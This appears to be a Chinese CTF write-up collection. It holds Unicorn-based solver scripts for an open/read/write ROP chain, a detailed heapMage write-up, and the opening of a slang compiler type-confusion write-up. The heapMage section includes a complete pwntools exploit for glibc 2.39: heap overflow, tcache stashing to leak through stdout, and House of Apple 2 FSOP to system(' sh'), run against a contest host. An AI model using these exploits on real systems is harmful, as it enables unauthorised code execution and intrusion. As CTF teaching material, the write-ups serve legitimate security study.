f"rdi={rdi:#x} r15={r['r15']:#x} r13={r['r13']:#x} rbx={r['rbx']:#x} r12={r['r12']:#x} [rdi]={mem.hex()} ok={good}")
print(f"GOOD {ok}/{N}")
stage12.py — 桥枚举 + read 寄存器实现
#!/usr/bin/env python3
"""Stage 1 (read) and Stage 2 (write) solver.
Between syscalls the hash+registers are coupled (only 9 / 12 stubs).
Approach: enumerate all depth-d hash bridges between the fixed checkpoint hashes,
then assign same-hash stubs (Unicorn-verified) to realize read()/write() args."""
import re, itertools, random, sys
from hash_chain_search import EXPECTED_HASHES, step_hash, reverse_step
from chain_exec import Chain, fresh, SUFFIX, RID, STACK_BASE
from unicorn.x86_const import *
SYS_STUB=0xc9670; SYS_HASH=0xf76f2edaf3c1f2fb
hash2starts={}; start2hash={SYS_STUB:SYS_HASH}
for line in open("usable_stubs.txt"):
m=re.search(r"start=(\w+) end=\w+ hash=(\w+)", line)
if m:
s=int(m.group(1),16); h=int(m.group(2),16)
hash2starts.setdefault(h,[]).append(s); start2hash[s]=h
ALPHA=sorted(hash2starts)
# stage-0 prefix (from verify_stage0)
FILLER_IDX=[16,30,4,32,16,3,22,16,18,17,14,26,32,8,5,28,28]
def pick_clean(h):
for s in hash2starts[h]:
c=fresh(); st,_=c.run_chain([s])
if st=="OK": return s
return hash2starts[h][0]
FILLER=[pick_clean(ALPHA[i]) for i in FILLER_IDX]
STAGE0_PREFIX=FILLER+SUFFIX # 34 setup stubs
def bridges(h_start, h_end, d_fwd, d_bwd, cap=200000):
fwd={}
for combo in itertools.product(ALPHA, repeat=d_fwd):
h=h_start
for s in combo: h=step_hash(h,s)
fwd.setdefault(h,[]).append(combo)
out=[]
for combo in itertools.product(ALPHA, repeat=d_bwd):
h=h_end
for s in reversed(combo): h=reverse_step(h,s)
if h in fwd:
for f in fwd[h]:
out.append(list(f)+list(combo))
if len(out)>=cap: return out
return out
def post_open_state(seed=0):
"""state entering stage-1 setup: run stage-0 prefix, then simulate open()->fd=3."""
random.seed(seed); c=fresh()
st,bad=c.run_chain(STAGE0_PREFIX)
assert st=="OK", (st,bad)
c.uc.reg_write(UC_X86_REG_RAX, 3) # open() returns fd 3
return c
def stack_writable(a):
return (STACK_BASE-0x100000) <= a < (STACK_BASE+0x100000)
def realize(brs, state_fn, want, nseeds=3):
"""find a same-hash stub assignment for some bridge satisfying want()."""
for b in brs:
opts=[hash2starts[h] for h in b]
for combo in itertools.product(*opts):
res=None; ok=True
for seed in range(nseeds):
c=state_fn(seed)
st,bad=c.run_chain(list(combo))
if st!="OK": ok=False; break
w=want(c)
if w is None: ok=False; break
res=w
if ok: return list(combo), b, res
return None,None,None
def want_read(c):
r=c.regs();
if r["rax"]==0 and r["rdi"]==3 and 0<r["rdx"]<=0x2000 and stack_writable(r["rsi"]):
return {"buf":r["rsi"],"count":r["rdx"]}
return None
STAGE1_STUBS=[0x1ca2e0,0x261d30,0xdddf0,0x151440,0x2211e0,0x3a6fa0,0x288010,0x189530,0x2ea2b0]
READ_BUF=None # set after stage1 solve
def post_read_state(seed=0):
c=post_open_state(seed)
c.run_chain(STAGE1_STUBS) # read-arg setup
c.uc.reg_write(UC_X86_REG_RAX, 10) # read() returns bytes read
return c
def want_write(c):
r=c.regs()
if r["rax"]==1 and r["rdi"]==1 and 0<r["rdx"]<=0x2000 and stack_writable(r["rsi"]):
return {"buf":r["rsi"],"count":r["rdx"]}
return None
def run_stage2():
T2=reverse_step(EXPECTED_HASHES[2], SYS_HASH)
BR_IDX=[10,32,21,22,14,33,25,30,17,12,28,7]
bridge=[ALPHA[i] for i in BR_IDX]
# sanity: folds E1 -> T2
h=EXPECTED_HASHES[1]
for x in bridge: h=step_hash(h,x)
print(f"# stage2 bridge folds E1->T2: {h==T2}")
combo,b,info=realize([bridge], post_read_state, want_write)
if combo:
print("# STAGE2 write() realized:")
print(" stubs:", " ".join(f"0x{x:x}" for x in combo))
print(" info:", info)
c=post_read_state(0); c.run_chain(combo); r=c.regs()
print(f" rax={r['rax']:#x} rdi={r['rdi']:#x} rsi={r['rsi']:#x} rdx={r['rdx']:#x}")
else:
print("# no write realization; per-position options:")
for i,hv in enumerate(bridge):
print(f" {i}: {[hex(x) for x in hash2starts[hv]]}")
return combo
if __name__=="__main__":
T1=reverse_step(EXPECTED_HASHES[1], SYS_HASH)
print(f"# E0=0x{EXPECTED_HASHES[0]:016x} T1=0x{T1:016x}")
brs=bridges(EXPECTED_HASHES[0], T1, 4, 5)
print(f"# depth-9 bridges E0->T1: {len(brs)}")
combo,b,info=realize(brs, post_open_state, want_read)
if combo:
print("# STAGE1 read() realized:")
print(" stubs:", " ".join(f"0x{x:x}" for x in combo))
print(" info:", info)
# show resulting full read regs
c=post_open_state(0); c.run_chain(combo); r=c.regs()
print(f" rax={r['rax']:#x} rdi={r['rdi']:#x} rsi={r['rsi']:#x} rdx={r['rdx']:#x}")
else:
print("# no read realization found among bridges; dumping per-position options")
for i,h in enumerate(brs[0]):
print(f" {i}: {[hex(x) for x in hash2starts[h]]}")
print()
run_stage2()
stage2_write.py — 用纠正后的进入态求 write 的同 hash 组合
#!/usr/bin/env python3
"""Solve stage-2 write() assignment with the NEW suffix (r13=1, rbx=8 enter stage2)."""
import re, itertools, random
from chain_exec import fresh
from suffix2 import SUFFIX2
from unicorn.x86_const import UC_X86_REG_RAX
hash2starts={};
for line in open("usable_stubs.txt"):
m=re.search(r"start=(\w+) end=\w+ hash=(\w+)", line)
if m: hash2starts.setdefault(int(m.group(2),16),[]).append(int(m.group(1),16))
ALPHA=sorted(hash2starts)
STAGE1=[0x1ca2e0,0x261d30,0xdddf0,0x151440,0x2211e0,0x3a6fa0,0x288010,0x189530,0x2ea2b0]
STAGE2_IDX=[10,32,21,22,14,33,25,30,17,12,28,7]
BRIDGE=[ALPHA[i] for i in STAGE2_IDX]
def post_read(seed):
random.seed(seed); c=fresh()
c.run_chain(SUFFIX2) # stage0 setup (filler irrelevant, reset by suffix)
c.uc.reg_write(UC_X86_REG_RAX,3) # open -> fd 3
c.run_chain(STAGE1) # read setup
rbuf=c.regs()["rsi"] # read buffer
c.uc.reg_write(UC_X86_REG_RAX,10) # read -> 10 bytes
return c, rbuf
def search():
opts=[hash2starts[h] for h in BRIDGE]
total=1
for o in opts: total*=len(o)
print(f"# stage2 combos to try: {total}")
for combo in itertools.product(*opts):
ok=True; info=None
for seed in range(3):
c,rbuf=post_read(seed)
st,bad=c.run_chain(list(combo))
if st!="OK": ok=False; break
r=c.regs()
if not (r["rax"]==1 and r["rdi"]==1 and r["rsi"]==rbuf and 0<r["rdx"]<=0x2000):
ok=False; break
info={"buf":r["rsi"],"count":r["rdx"]}
if ok:
return list(combo), info
return None,None
combo,info=search()
if combo:
print("# STAGE2 write() REALIZED:")
print(" stubs:", " ".join(f"0x{x:x}" for x in combo))
print(" info:", info)
c,rbuf=post_read(0); c.run_chain(combo); r=c.regs()
print(f" rax={r['rax']:#x} rdi={r['rdi']:#x} rsi={r['rsi']:#x} rdx={r['rdx']:#x} (read_buf={rbuf:#x})")
else:
print("# no write realization; diagnostics (entering-stage2 state):")
c,rbuf=post_read(0); r=c.regs()
print(f" enter stage2: r13={r['r13']:#x} rbx={r['rbx']:#x} rdi={r['rdi']:#x} read_buf={rbuf:#x}")
for i,h in enumerate(BRIDGE):
print(f" pos{i}: {[hex(x) for x in hash2starts[h]]}")
final_chain.py — 拼出 58 步链 + 双重验证(hash 检查点 + orw 参数),输出 final_chain.txt
#!/usr/bin/env python3
"""FINAL assembler+verifier for the complete 58-stub ORW chain.
filler(13) + suffix2(21) + open | stage1b(9) + read | stage2w(12) + write
Verifies: 3 hash checkpoints (E0/E1/E2 @ 35/45/58) AND ORW args from real init regs."""
import re, struct, sys
from hash_chain_search import INIT_HASH, EXPECTED_HASHES, step_hash
from unicorn import Uc, UC_ARCH_X86, UC_MODE_64, UC_HOOK_MEM_INVALID
from unicorn.x86_const import *
from emulate_table_funcs import ElfImage
from suffix2 import SUFFIX2
SYS=0xc9670; SYS_HASH=0xf76f2edaf3c1f2fb
hash2starts={}; start2hash={SYS:SYS_HASH}
for line in open("usable_stubs.txt"):
m=re.search(r"start=(\w+) end=\w+ hash=(\w+)", line)
if m:
s=int(m.group(1),16); h=int(m.group(2),16)
hash2starts.setdefault(h,[]).append(s); start2hash[s]=h
ALPHA=sorted(hash2starts)
STAGE1=[0x155ba0,0x261d30,0xdddf0,0x151440,0x2211e0,0x3a6fa0,0x288010,0x189530,0x2ea2b0]
STAGE2=[0x33dfe0,0x3b0c70,0x2fe330,0x39c3d0,0x35cac0,0x391f80,0x1d1470,0x28f220,0x361460,0x11fa00,0x31a020,0x199d30]
def load_filler():
for line in open("stage0b_bridges.txt"):
if line.startswith("BRIDGE"):
idx=[int(x) for x in line.split()[1:]]
assert len(idx)==13, idx
return [hash2starts[ALPHA[i]][0] for i in idx]
return None
FILLER=load_filler()
if not FILLER:
print("no filler bridge yet in stage0b_bridges.txt"); sys.exit(1)
CHAIN = FILLER + SUFFIX2 + [SYS] + STAGE1 + [SYS] + STAGE2 + [SYS]
assert len(CHAIN)==58, len(CHAIN)
# ---- hash checkpoints ----
h=INIT_HASH; ok=True
cps={35:EXPECTED_HASHES[0],45:EXPECTED_HASHES[1],58:EXPECTED_HASHES[2]}
for i,s in enumerate(CHAIN,1):
h=step_hash(h,start2hash[s])
if i in cps:
good=h==cps[i]; ok&=good
print(f" count={i:2d}: hash=0x{h:016x} exp=0x{cps[i]:016x} PASS={good}")
print(f"ALL HASH CHECKS PASS = {ok}\n")
# ---- ORW args from real init regs ----
INIT={"rax":0x1B,"rbx":0x558295F02240,"rcx":0x7F9B4BDCB5A4,"rdx":0x0,"rsi":0x7F9B4BEB3643,
"rdi":0x0,"rbp":0x7FFD0C2B5660,"rsp":0x7FFD0C2B5608,"r8":0x1A,"r9":0x0,
"r10":0x558295F02250,"r11":0x558295BA7370,"r12":0x7F9B4BEB36B0,"r13":0x558295F02240,
"r14":0x558295F02240,"r15":0x7F9B4BCABA80}
RID={n:getattr(__import__('unicorn.x86_const',fromlist=['x']),'UC_X86_REG_'+n.upper()) for n in INIT}
img=ElfImage("UBW",0); uc=Uc(UC_ARCH_X86,UC_MODE_64); img.map_into(uc)
RET=0x6000000; mapped=[]
def mp(a,sz=0x80000):
s=(a-sz//2)&~0xfff; e=((a+sz//2)+0xfff)&~0xfff
for x in range(s,e,0x1000):
if not any(p<=x<q for p,q in mapped):
try: uc.mem_map(x,0x1000); mapped.append((x,x+0x1000))
except Exception: pass
mp(RET,0x2000)
for v in INIT.values():
if v>0x10000: mp(v)
fault={}; uc.hook_add(UC_HOOK_MEM_INVALID, lambda u,a,ad,s,v,d:(fault.update(x=ad) or False))
for n,v in INIT.items(): uc.reg_write(RID[n],v)
def run(stubs):
for s in stubs:
fault.clear(); sp=uc.reg_read(UC_X86_REG_RSP)-8
uc.mem_write(sp,struct.pack("<Q",RET)); uc.reg_write(UC_X86_REG_RSP,sp)
try: uc.emu_start(s,RET,count=5000)
except Exception as e: return f"FAULT@{s:#x}:{e} {fault}"
if uc.reg_read(UC_X86_REG_RIP)!=RET: return f"TIMEOUT@{s:#x}"
return "OK"
def rd(n): return uc.reg_read(RID[n])
def show(t):
rdi=rd("rdi")
try: mem=bytes(uc.mem_read(rdi,8)).hex()
except Exception: mem="?"
print(f" {t}: rax={rd('rax'):#x} rdi={rd('rdi'):#x} rsi={rd('rsi'):#x} rdx={rd('rdx'):#x} [rdi]={mem}")
print("ORW args from real initial regs:")
print(" stage0:",run(FILLER+SUFFIX2)); show("@35 open ")
uc.reg_write(UC_X86_REG_RAX,3)
print(" stage1:",run(STAGE1)); show("@45 read ")
uc.reg_write(UC_X86_REG_RAX,0x30) # pretend read returned 0x30 bytes
print(" stage2:",run(STAGE2)); show("@58 write")
with open("final_chain.txt","w") as f:
for i,s in enumerate(CHAIN,1):
f.write(f"{i:02d} {s:#x}{' SYSCALL' if s==SYS else ''}\n")
print("\nwrote final_chain.txt")
heapMage
Flag:
SCTF{s0rry-my-b4d-as3184cz3defg}
一、基本信息
- libc:glibc 2.39-0ubuntu8(远程与所给一致,offset 可直接复用)
- 保护:Full RELRO / NX / PIE / Canary 全开,tcache safe-linking 生效
- 交互:标准 add / delete / edit 菜单堆题,所有 FILE 流
setvbuf(_IONBF)(无缓冲,这点对“stdout 泄漏”极关键)
四种 chunk 规格(请求大小 → 实际 chunk):
| type | 请求 | chunk 大小 |
|---|---|---|
| 1 | 0xC0 | 0xD0 |
| 2 | 0xF0 | 0x100 |
| 3 | 0x500 | 0x510 |
| 4 | 0x510 | 0x520 |
二、漏洞点
edit 无视申请大小,永远 read(0, ptr, 0xF0):
read(0, chunk_ptr, 0xF0);
对 type1(0xC0 申请、用户区只有 0xC0)做 edit,可写 0xF0 字节 → 堆溢出 0x30 字节,足以覆盖物理相邻下一个 chunk 的 header(prev_size/size)及其 fd/bk。
另有一个安全检查 check:当本次 nbytes > 216(0xD8) 时,读取 *(ptr+0xC8) & ~0xf 当作 size,若落在 (0x1F, 0x520] 就会 times(*(ptr+0xD8)) 并据返回值跳转,干扰利用。
绕过:溢出 payload 里把 ptr+0xC8 处的“伪 size”写成 0x10(≤0x1F),该分支彻底不进,确定性绕过,不依赖 times() 返回值。
三、利用链总览
无任何现成输出泄漏函数 → 需要先“带内”自造泄漏,再做控制流劫持:
- House of stdout:tcache stashing + 局部覆写,把一个 chunk 错位盖到
_IO_2_1_stdout_上,改_flags=0xfbad1800并降低_IO_write_base低位,使下一次puts把 libc/heap 指针一起吐出来 → 同时泄漏 libc base 与 heap base。 - House of Apple 2 + FSOP:利用堆溢出做 tcache 投毒,把
_IO_list_all改指向可控伪 FILE;走exit → _IO_cleanup → _IO_flush_all → _IO_OVERFLOW → _IO_wfile_overflow → _IO_wdoallocbuf → (*(wide_vtable+0x68))(fp)最终等价system(" sh")。
全程仅通过程序 I/O,地址全部来自泄漏值推导,offset 全部相对 libc/heap base,本地远程一致。
四、详细步骤
4.1 堆布局(15 chunk 簇)
按 F0 V0 F1 V1 … F5 V5 ED0 V6 F7 顺序申请(F/V/F7 是 type2=0x100,ED0 是 type1=0xD0,用于溢出)。这样物理上 ED0 紧邻 V6,V6 之后是后续被分出来的 stdout 错位目标。
4.2 制造 smallbin + tcache 同尺寸链
- free
F0..F5,F7→ tcache[0x100] 填满 7 个 - free
V0..V6→ 因 tcache 已满,进 unsorted bin - 申请一个 0x510(type3),触发 malloc 整理 unsorted →
V6..V0进 smallbin[0x100] - 再连续 7 次 type2 申请,把 tcache[0x100] 抽干(这步是为了让接下来的 stash 把 smallbin 里的块“补”进空 tcache)
4.3 House of stdout 局部覆写泄漏
关键机制:当 tcache 该尺寸为空、smallbin 里还有块时,下一次同尺寸 malloc 触发 tcache stashing——glibc 把 smallbin 剩余块批量搬进 tcache,搬运过程会写 bck->fd、bin->bk 等。若能让其中一个 bk 指向 stdout chunk,就能把它 stash 进 tcache,从而被后续 malloc 分配出来、被我们 edit。
用 ED0 溢出改 V6 的 header:
pl[0xC8:0xD0]=0x10:绕过 checkpl[0xD8:0xDA]=0x45b0:只改 V6->bk 的低 2 字节,使其指向_IO_2_1_stdout_所在 chunk(STDOUT_CHUNK_LO16=0x45b0,是 stdout chunk 相对 libc 页内的固定低 16 位)
pl = bytearray(b"Q"*0xDA)
pl[0xC8:0xD0] = p64(0x10) # 伪size=0x10 绕过 check
pl[0xD8:0xDA] = p16(0x45b0) # V6->bk low16 -> stdout chunk
edit(ED0, pl)
触发 stash(再申请一个 type2)→ stdout chunk 进 tcache → 申请一次 type2 把它分到 slot0 → 此时 slot0 的用户指针正好落在 stdout 结构体上。
edit slot0 改 stdout:
leak = p32(0xFBAD1800) # _flags:可读可写、标记已有数据
leak += b"\x00"*0x1C # 抹掉到 write_base 之前
leak += p16(0x3b20) # _IO_write_base 低16位下移,扩大可写出窗口
edit(0, leak)
由于 _IONBF + flags 标志,glibc 在下一次刷新时把 [_IO_write_base, _IO_write_ptr) 整段写到 fd 1。这段区间现在覆盖了一堆 libc/heap 指针,于是一次性吐出泄漏数据。
解析(偏移由该 libc 版本固定):
heap = Q(data[0x00:0x08]) - 0x1670
libc = Q(data[0x10:0x18]) - 0x203B20
assert (libc & 0xFFF)==0 and (heap & 0xFFF)==0 # 页对齐校验,失败则重连
stash 搬运时会把一个 heap 随机化指针(PROTECT_PTR 编码值)写进 stdout 的字段,约一半概率把 flags 破坏到导致后续
puts触发 SIGABRT——这是本题固有概率,用重连重试吸收,不影响正确性。
4.4 House of Apple 2(exit 路径 FSOP)
有了 libc/heap base,关键 offset:
OFF_IO_LIST_ALL = 0x2044c0
OFF_WFILE_JUMPS = 0x202228
OFF_SYSTEM = 0x58740
① 在一块 0x500 scratch(slot15,用户区记作 base = heap+0x1170)里伪造 wide_data + wide_vtable
调用链 _IO_wfile_overflow → _IO_wdoallocbuf → (*(fp->_wide_data->_wide_vtable + 0x68))(fp)。令 _wide_vtable = base+0x70,则 +0x68 = base+0xD8,把 system 放在 base+0xD8:
wide = bytearray(b"\x00"*0xF0)
wide[0x18:0x20]=p64(0); wide[0x20:0x28]=p64(4)
wide[0x28:0x30]=p64(4); wide[0x30:0x38]=p64(0) # 迫使走 doallocbuf 分支
wide[0xD8:0xE0]=p64(system) # *(wide_vtable+0x68) = system
wide[0xE0:0xE8]=p64(base+0x70) # _wide_vtable
edit(15, wide)
② tcache 投毒,把 _IO_list_all 钓出来
用仍可溢出的 ED(slot12)盖到 V6,把 V6->fd 写成 _IO_list_all 的 safe-linking 编码值:
enc = io_list_all ^ (V6 >> 12)
pe = bytearray(b"Q"*0xF0)
pe[0xC8:0xD0]=p64(0x10) # 再次绕 check
pe[0xD0:0xD8]=p64(enc) # V6->fd = protect(_IO_list_all)
edit(12, pe)
add(3,2) # 取出 V6
add(5,2) # 下一个取出的就是 _IO_list_all,落到 slot5
③ 写 _IO_list_all 并构造伪 FILE
off = 0x10
payload = bytearray(b"\x00"*0xF0)
payload[0:8] = p64(io_list_all + off) # *_IO_list_all = 伪FILE
# 伪FILE(位于 io_list_all+0x10)
payload[off+0:off+4] = b" sh\x00" # _flags,且作为 system 实参 " sh"
payload[off+0x20:off+0x28]= p64(0) # _IO_write_base
payload[off+0x28:off+0x30]= p64(1) # _IO_write_ptr (write_ptr>write_base)
payload[off+0x88:off+0x90]= p64(libc+0x205710)# _lock(指向可写0区)
payload[off+0xA0:off+0xA8]= p64(base) # _wide_data -> 伪 wide_data
payload[off+0xC0:off+0xC4]= p32(1) # _mode > 0 -> 走 wide 路径
payload[off+0xD8:off+0xE0]= p64(wfile_jumps) # vtable = _IO_wfile_jumps
edit(5, payload)
_flags=" sh"=0x687320:满足 &8==0(可走 overflow)、&0x800==0、&2==0 等校验;同时作为 system 的字符串参数(开头空格规避前导校验)。
④ 触发:菜单输入非法选项(如 9)→ exit(1) → _IO_cleanup → _IO_flush_all,遍历 _IO_list_all 调 _IO_OVERFLOW(fakeFILE),因 _mode>0 走 _IO_wfile_overflow → _IO_wdoallocbuf → system(" sh")。
五、远程稳定性(本次唯一调整)
本地能间歇成功、远程一开始 17/17 卡在同一处,根因不是逻辑而是 SSL 链路时延 + 盲打节奏:stdout 被破坏后无法再用 recvuntil 同步,只能 sendline + sleep 盲打,本地 sleep 太短在远程下命令未被读完就发下一条,错位导致流程崩。把所有等待放宽即稳定:
| 参数 | 本地 | 远程 |
|---|---|---|
context.timeout |
3 | 6 |
盲打 sleep |
0.08 | 0.15 |
泄漏 recvrepeat |
0.5 | 1.5 |
触发后 sleep |
0.4 | 0.8 |
触发 recvrepeat |
1.2 | 3.0 |
stash recvuntil timeout |
2 | 4 |
外加 self.p.settimeout(context.timeout) 显式给 socket 设超时,避免 stash 概率崩溃时 recvuntil 永久阻塞(这正是 attempt 17 卡在 dele() 无 timeout 的死因)。其余利用逻辑一字未改。最终远程约第 3 次重连即出 shell。
六、完整 PoC
#!/usr/bin/env python3
# heapMage - glibc 2.39-0ubuntu8 - remote heap exploit
import sys, struct, time
from pwn import *
HOST = "pwn-93d95d7751.adworld.xctf.org.cn"
PORT = 9999
context.binary = elf = ELF("./pwn", checksec=False)
libc = ELF("./libc.so.6", checksec=False)
context.log_level = "info"
# ---- remote stability knobs ----
context.timeout = 6
BLIND_DELAY = 0.15
LEAK_RECV_TIMEOUT = 1.5
TRIGGER_DELAY = 0.8
TRIGGER_RECV_TIMEOUT = 3.0
def Q(d): return struct.unpack("<Q", d)[0]
# ---- libc offsets: glibc 2.39-0ubuntu8 ----
OFF_STDOUT = 0x2045c0
OFF_IO_LIST_ALL = 0x2044c0
OFF_WFILE_JUMPS = 0x202228
OFF_SYSTEM = 0x58740
# ---- partial-overwrite low-16 constants (固定 page 内偏移) ----
STDOUT_CHUNK_LO16 = 0x45b0 # V6->bk low16 -> _IO_2_1_stdout_ chunk
WRITE_BASE_LO16 = 0x3b20 # 下移 _IO_write_base 扩大泄漏窗口
CLUSTER = [
('F',0),('V',0),('F',1),('V',1),('F',2),('V',2),
('F',3),('V',3),('F',4),('V',4),('F',5),('V',5),
('ED',0),('V',6),('F',7),
]
def remote_ssl():
try: return remote(HOST, PORT, ssl=True, sni=HOST)
except TypeError: return remote(HOST, PORT, ssl=True)
class Exploit:
def __init__(self, target="remote"):
if target == "local": self.p = process(elf.path)
elif target == "remote": self.p = remote_ssl()
elif target.startswith("ssl://"):
host, port = target[6:].rsplit(":", 1)
try: self.p = remote(host, int(port), ssl=True, sni=host)
except TypeError: self.p = remote(host, int(port), ssl=True)
else:
host, port = target.rsplit(":", 1)
self.p = remote(host, int(port))
self.p.settimeout(context.timeout)
# ---- synced menu primitives ----
def add(self, i, t):
self.p.sendlineafter(b"Your choice > ", b"1")
self.p.sendlineafter(b"input index: ", str(i).encode())
self.p.sendlineafter(b"choice: ", str(t).encode())
self.p.recvuntil(b"Chunk allocated.")
def dele(self, i):
self.p.sendlineafter(b"Your choice > ", b"2")
self.p.sendlineafter(b"input index: ", str(i).encode())
self.p.recvuntil(b"Chunk freed.")
def edit_raw(self, i, data):
self.p.sendlineafter(b"Your choice > ", b"3")
self.p.sendlineafter(b"input index: ", str(i).encode())
self.p.sendafter(b"Data: ", data)
# ---- blind primitives (stdout corrupted, 不能再同步) ----
def add_blind(self, i, t):
self.p.sendline(b"1"); self.p.sendline(str(i).encode())
self.p.sendline(str(t).encode()); time.sleep(BLIND_DELAY)
def edit_blind(self, i, data):
self.p.sendline(b"3"); self.p.sendline(str(i).encode())
self.p.send(data); time.sleep(BLIND_DELAY)
def groom_and_leak(self):
sm = {}
for idx,(k,n) in enumerate(CLUSTER):
self.add(idx, 1 if k=="ED" else 2); sm[(k,n)] = idx
for i in [0,1,2,3,4,5,7]: self.dele(sm[("F",i)]) # tcache[0x100] x7
for i in range(7): self.dele(sm[("V",i)]) # unsorted
self.add(15, 3) # sort -> smallbin[0x100]=V6..V0
fs = [sm[("F",i)] for i in [0,1,2,3,4,5,7]]
fs += [sm[("V",i)] for i in range(7)]
for x in fs[:7]: self.add(x, 2) # drain tcache[0x100]
# ED 溢出: V6.size=0x10 (绕check), V6->bk low16 -> stdout chunk
pl = bytearray(b"Q"*0xDA)
pl[0xC8:0xD0] = p64(0x10)
pl[0xD8:0xDA] = p16(STDOUT_CHUNK_LO16)
self.edit_raw(sm[("ED",0)], bytes(pl))
self.p.recvuntil(b"Chunk edited.")
# 触发 tcache stashing -> stdout chunk 进 tcache
self.p.sendlineafter(b"Your choice > ", b"1")
self.p.sendlineafter(b"input index: ", str(fs[7]).encode())
self.p.sendlineafter(b"choice: ", b"2")
try: self.p.recvuntil(b"Chunk allocated.", timeout=4)
except EOFError: raise EOFError("stash trigger aborted")
# 把 stdout chunk 分配到 slot0
self.p.sendlineafter(b"Your choice > ", b"1")
self.p.sendlineafter(b"input index: ", b"0")
self.p.sendlineafter(b"choice: ", b"2")
try: self.p.recvuntil(b"Chunk allocated.", timeout=4)
except EOFError: raise EOFError("stdout pop aborted")
# 改 stdout -> 一次 flush 泄漏 libc+heap
leak = p32(0xFBAD1800) + b"\x00"*0x1C + p16(WRITE_BASE_LO16)
self.edit_raw(0, leak)
data = self.p.recvrepeat(LEAK_RECV_TIMEOUT)
if len(data) < 0x20: raise EOFError(f"no leak, got {len(data)}")
self.heap = Q(data[0x00:0x08]) - 0x1670
self.libc = Q(data[0x10:0x18]) - 0x203B20
if (self.libc & 0xFFF) or (self.heap & 0xFFF):
raise EOFError(f"bad leak libc={self.libc:#x} heap={self.heap:#x}")
log.success(f"libc = {self.libc:#x}")
log.success(f"heap = {self.heap:#x}")
self.sm = sm; return data
def setup_fsop(self):
libc_base, heap = self.libc, self.heap
io_list_all = libc_base + OFF_IO_LIST_ALL
wfile_jumps = libc_base + OFF_WFILE_JUMPS
system = libc_base + OFF_SYSTEM
base = heap + 0x1170 # slot15 (0x500) user ptr = 伪 wide_data
V6 = heap + 0x0F70 # V6 user ptr
cmd = b" sh\x00"
# ① 伪 wide_data + wide_vtable: (*(base+0x70 +0x68))=base+0xD8 = system
wide = bytearray(b"\x00"*0xF0)
wide[0x18:0x20]=p64(0); wide[0x20:0x28]=p64(4)
wide[0x28:0x30]=p64(4); wide[0x30:0x38]=p64(0)
wide[0xD8:0xE0]=p64(system)
wide[0xE0:0xE8]=p64(base+0x70)
self.edit_blind(15, bytes(wide))
# ② tcache 投毒: V6->fd = protect(_IO_list_all)
enc = io_list_all ^ (V6 >> 12)
pe = bytearray(b"Q"*0xF0)
pe[0xC8:0xD0]=p64(0x10)
pe[0xD0:0xD8]=p64(enc)
self.edit_blind(12, bytes(pe))
self.add_blind(3, 2) # 取出 V6
self.add_blind(5, 2) # 取出 _IO_list_all -> slot5
# ③ 写 _IO_list_all + 伪 FILE
off = 0x10
pay = bytearray(b"\x00"*0xF0)
pay[0:8] = p64(io_list_all + off) # *_IO_list_all=伪FILE
pay[off+0:off+4] = cmd # _flags / " sh"
pay[off+0x20:off+0x28] = p64(0) # write_base
pay[off+0x28:off+0x30] = p64(1) # write_ptr
pay[off+0x88:off+0x90] = p64(libc_base+0x205710) # _lock
pay[off+0xA0:off+0xA8] = p64(base) # _wide_data
pay[off+0xC0:off+0xC4] = p32(1) # _mode>0
pay[off+0xD8:off+0xE0] = p64(wfile_jumps) # vtable
self.edit_blind(5, bytes(pay))
def trigger(self):
self.p.sendline(b"9") # 非法选项 -> exit -> FSOP -> system(" sh")
time.sleep(TRIGGER_DELAY)
self.p.sendline(b"echo PWNED; cat /flag* flag* 2>/dev/null; id")
return self.p.recvrepeat(TRIGGER_RECV_TIMEOUT)
def run(self):
self.groom_and_leak(); self.setup_fsop(); return self.trigger()
def main():
target = sys.argv[1] if len(sys.argv) > 1 else "remote"
for attempt in range(80):
e = None
try:
log.info(f"attempt {attempt}")
e = Exploit(target)
out = e.run()
if out: sys.stdout.write(out.decode(errors="replace"))
if out and (b"PWNED" in out or b"ctf{" in out.lower()
or b"flag{" in out.lower() or b"uid=" in out):
log.success(f"attempt {attempt}: SHELL")
e.p.interactive(); return
try: e.p.close()
except Exception: pass
except EOFError as ex:
log.warning(f"attempt {attempt} EOF: {ex}")
if e:
try: e.p.close()
except Exception: pass
continue
except Exception as ex:
log.warning(f"attempt {attempt} failed: {ex}")
if e:
try: e.p.close()
except Exception: pass
continue
log.failure("exhausted attempts")
if __name__ == "__main__":
main()
七、要点回顾
- 无泄漏函数 → tcache stashing 局部覆写打 stdout,一次性带内泄漏 libc+heap。
check的times分支用伪 size=0x10 确定性绕过,不赌返回值。- House of Apple 2 走
exit的_IO_wfile_overflow → _IO_wdoallocbuf → system(" sh"),不依赖任何 hook(2.39 无__free_hook/__malloc_hook)。 - stash 概率性破坏 stdout 导致 SIGABRT 是题目固有特性,用重连重试吸收;地址全部来自泄漏、offset 全相对 base,本地远程零差异。
- 远程唯一变量是节奏——盲打段把所有 sleep/timeout 放宽即稳。
kMage

由于赛题在部分逻辑设计上存在些许疏忽,导致比赛中涌现出了许多意料之外的非预期解法。为了平衡后续的比赛节奏,主办方在后期调整了机制,直接公开了最终凭证

slang
题目概览
服务端会读取一段 slang 源码,调用编译器把它翻译成 C,再用 gcc 编译执行:
cmd = ["gcc", "-O0", "-Wall", "-Wextra", "-no-pie", "-o", exe_path, c_path, RUNTIME]
见 attachment/server.py。
这里有两个关键点:
-no-pie:最终 ELF 基址固定,GOT 地址固定。- 程序运行的是我们刚刚提交的编译结果,所以这是一个“提交源码 -> 服务端编译 -> 执行”的题。
运行时里最关键的两个接口如下:
void rt_say(const char *s) {
puts(s);
}
void rt_scribble(vec_t *v, int64_t idx, int64_t delta) {
vec_store(v, idx, vec_load(v, idx) + delta);
}
见 attachment/runtime.c。
say() 最终调用 puts(),scribble() 则会把 v->data[idx] 加上一个可控增量。
漏洞分析
核心漏洞不在运行时,而在 slang 编译器本身的活跃变量分析。
在 do { ... } while (...) 循环体里,如果语句是 void 函数调用,例如:
say(...)scribble(...)keep_int(...)keep_str(...)keep_vec(...)
编译器会漏掉对实参变量的“使用”分析。结果是某些变量虽然类型不同,但会被错误地分配到同一个 C 层的 slot[] 槽位里。
这题可以构造出:
fake:类型是strv:类型是vec
二者共用同一个槽位。
于是源代码里写的是:
scribble(v, 0, delta);
但实际生成出来的 C 语义更接近:
rt_scribble((vec_t *)slot[0], 0, delta);
而此时 slot[0] 里放的其实不是 vec_t *,而是字符串 fake 的首地址。
这就把“字符串内容”解释成了一个假的 vec_t:
struct vec_t {
int64_t *data;
int64_t size;
};
如果把 fake 布置成:
data = target_address
size = 1
那么:
scribble(v, 0, delta);
实际效果就是:
*(int64_t *)target_address += delta;
也就是一个非常干净的 8 字节“加法写”原语。
利用思路
